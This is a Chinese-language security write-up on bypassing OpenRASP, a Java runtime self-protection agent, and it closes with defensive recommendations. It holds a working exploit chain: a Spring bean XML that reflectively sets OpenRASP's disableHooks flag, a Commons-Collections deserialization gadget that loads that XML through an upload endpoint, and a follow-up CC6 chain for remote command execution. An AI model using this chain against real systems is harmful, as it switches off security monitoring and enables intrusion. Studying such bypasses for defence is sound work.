关于OpenRASP的绕过实现
字数 1375 2025-08-22 12:23:00

OpenRASP绕过实现与分析

一、OpenRASP基础原理

1.1 RASP工作机制

OpenRASP利用Javaagent机制实现防护:

  • premain:启动时加载agent
  • agentmain:启动后加载agent

初始化时会将rasp.jar路径加载到Bootstrap类加载器。

1.2 Bootstrap类加载器

核心特性

  • 负责加载核心Java类库(位于<JAVA_HOME>/lib目录)
  • 使用本地代码(C/C++)实现,Java中表示为null
  • 在双亲委派模型中位于最顶层

工作流程

  1. JVM启动时首先加载核心类库
  2. 类加载请求首先委派给Bootstrap类加载器
  3. 找不到时依次向下委派(Extension ClassLoader → Application ClassLoader)

1.3 双亲委派机制

类加载器收到请求时的处理流程:

  1. 检查类是否已加载
  2. 未加载则委托父类加载器处理
  3. 父类无法加载时才自行尝试加载

类加载器层级

  1. Bootstrap ClassLoader(核心类库)
  2. Extension ClassLoader(扩展库)
  3. Application ClassLoader(应用类)

二、OpenRASP防护实现

2.1 关键设计

OpenRASP将rasp.jar加入Bootstrap类加载器搜索路径的原因:

  • 当hook由BootstrapClassLoader加载的类(如java.io.File)时
  • 无法从该类调用非BootstrapClassLoader加载的类
  • 通过appendToBootstrapClassLoaderSearch方法将检测代码放入Bootstrap搜索路径

2.2 防护实现方式

通过hook关键类方法,在原始方法前插入检测逻辑:

protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
    String src;
    if (ctClass.getName().contains("ProcessImpl")) {
        if (OSUtil.isWindows()) {
            src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", 
                    new Class[]{String[].class, String.class});
            this.insertBefore(ctClass, "<init>", (String) null, src);
        } else if (ModuleLoader.isModularityJdk()) {
            src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", 
                    new Class[]{byte[].class, byte[].class, byte[].class});
            this.insertBefore(ctClass, "<init>", (String) null, src);
        }
    } else if (ctClass.getName().contains("UNIXProcess")) {
        src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", 
                new Class[]{byte[].class, byte[].class, byte[].class});
        this.insertBefore(ctClass, "<init>", (String) null, src);
    }
}

最终调用V8引擎执行JS检测逻辑(official.js)。

三、OpenRASP绕过技术

3.1 关键漏洞点

RASP检查调用堆栈时会忽略自身类(com.baidu.openrasp.*):

  • 可以任意使用com.baidu.openrasp包内的类
  • 如果这些类存在安全问题,可导致防护失效

3.2 绕过思路

  1. 直接关闭RASP

    • 调用Config.getConfig().disableHooks(true)
    • 其他关闭方法也可行
  2. 利用危险类

    • 查找com.baidu.openrasp包内的危险类方法

3.3 实际绕过案例

环境配置

FROM goelhub/java-openjdk-8u66:8.0
USER root
COPY ./vulRASP.jar /app/vulRASP.jar
COPY rasp /app/rasp
EXPOSE 80
ENV JAVA_OPTS="-javaagent:/app/rasp/rasp.jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=:5005"
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS -jar /app/easyRASP.jar"]

漏洞应用代码

@PostMapping({"/load"})
public String ser(@RequestParam String data) {
    try {
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(Base64.getDecoder().decode(data)));
        ois.readObject();
        return "RCE";
    } catch (Exception e) {
        return e.toString();
    }
}

@PostMapping({"/upload"})
public String upload(@RequestParam("file") MultipartFile file) throws Exception {
    File dir = new File("uploads");
    if (!dir.exists()) {
        dir.mkdirs();
    }
    File save_file = new File(dir.getAbsolutePath() + File.separator + 
        UUID.randomUUID().toString().toLowerCase() + ".tmp");
    file.transferTo(save_file);
    return "文件缓存在:" + save_file.getAbsolutePath();
}

利用步骤

  1. 上传恶意XMLhackerbean.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="configClass" class="java.lang.Class" factory-method="forName">
        <constructor-arg value="com.baidu.openrasp.config.Config"/>
    </bean>
    <bean id="configInstance" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetClass" value="com.baidu.openrasp.config.Config"/>
        <property name="targetMethod" value="getConfig"/>
    </bean>
    <bean id="disableHooksField" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetObject" ref="configClass"/>
        <property name="targetMethod" value="getDeclaredField"/>
        <property name="arguments">
            <list>
                <value>disableHooks</value>
            </list>
        </property>
    </bean>
    <bean id="accessibleSetter" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetObject" ref="disableHooksField"/>
        <property name="targetMethod" value="setAccessible"/>
        <property name="arguments">
            <list>
                <value>true</value>
            </list>
        </property>
    </bean>
    <bean id="disableHooksSetter" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetObject" ref="disableHooksField"/>
        <property name="targetMethod" value="set"/>
        <property name="arguments">
            <list>
                <ref bean="configInstance"/>
                <value type="boolean">true</value>
            </list>
        </property>
    </bean>
</beans>
  1. 利用CC链加载XML关闭RASP
// 使用InstantiateFactory和FactoryTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(
    FileSystemXmlApplicationContext.class,
    new Class[]{String.class},
    new Object[]{"file:///uploads/7921b36b-35c0-466f-8332-b80ba2fff3ff.tmp"}
);
FactoryTransformer factory = new FactoryTransformer(instantiateFactory);
Map map = LazyMap.decorate(hashMap, factory);
TiedMapEntry tMapEntry = new TiedMapEntry(map, "a");
BadAttributeValueExpException bad = new BadAttributeValueExpException(new Object());
  1. 二次反序列化执行RCE
  • 使用常规CC链(如CC6)执行命令

Spring XML加载方式

  1. ClassPathXmlApplicationContext:从类路径加载
  2. FileSystemXmlApplicationContext:从文件系统加载
  3. XmlBeanFactory:从类路径或文件系统加载

四、防御建议

  1. 加强com.baidu.openrasp包内类的安全审计
  2. 对自身类的调用也应进行安全检查
  3. 避免直接暴露危险的反序列化接口
  4. 实施最小权限原则,限制敏感操作

五、参考资源

  1. OpenRASP核心源码浅析
  2. OpenRasp分析
OpenRASP绕过实现与分析 一、OpenRASP基础原理 1.1 RASP工作机制 OpenRASP利用Javaagent机制实现防护: premain :启动时加载agent agentmain :启动后加载agent 初始化时会将 rasp.jar 路径加载到Bootstrap类加载器。 1.2 Bootstrap类加载器 核心特性 : 负责加载核心Java类库(位于 <JAVA_HOME>/lib 目录) 使用本地代码(C/C++)实现,Java中表示为null 在双亲委派模型中位于最顶层 工作流程 : JVM启动时首先加载核心类库 类加载请求首先委派给Bootstrap类加载器 找不到时依次向下委派(Extension ClassLoader → Application ClassLoader) 1.3 双亲委派机制 类加载器收到请求时的处理流程: 检查类是否已加载 未加载则委托父类加载器处理 父类无法加载时才自行尝试加载 类加载器层级 : Bootstrap ClassLoader(核心类库) Extension ClassLoader(扩展库) Application ClassLoader(应用类) 二、OpenRASP防护实现 2.1 关键设计 OpenRASP将 rasp.jar 加入Bootstrap类加载器搜索路径的原因: 当hook由BootstrapClassLoader加载的类(如 java.io.File )时 无法从该类调用非BootstrapClassLoader加载的类 通过 appendToBootstrapClassLoaderSearch 方法将检测代码放入Bootstrap搜索路径 2.2 防护实现方式 通过hook关键类方法,在原始方法前插入检测逻辑: 最终调用V8引擎执行JS检测逻辑( official.js )。 三、OpenRASP绕过技术 3.1 关键漏洞点 RASP检查调用堆栈时会忽略自身类( com.baidu.openrasp.* ): 可以任意使用 com.baidu.openrasp 包内的类 如果这些类存在安全问题,可导致防护失效 3.2 绕过思路 直接关闭RASP : 调用 Config.getConfig().disableHooks(true) 其他关闭方法也可行 利用危险类 : 查找 com.baidu.openrasp 包内的危险类方法 3.3 实际绕过案例 环境配置 漏洞应用代码 利用步骤 上传恶意XML ( hackerbean.xml ): 利用CC链加载XML关闭RASP : 二次反序列化执行RCE : 使用常规CC链(如CC6)执行命令 Spring XML加载方式 ClassPathXmlApplicationContext :从类路径加载 FileSystemXmlApplicationContext :从文件系统加载 XmlBeanFactory :从类路径或文件系统加载 四、防御建议 加强 com.baidu.openrasp 包内类的安全审计 对自身类的调用也应进行安全检查 避免直接暴露危险的反序列化接口 实施最小权限原则,限制敏感操作 五、参考资源 OpenRASP核心源码浅析 OpenRasp分析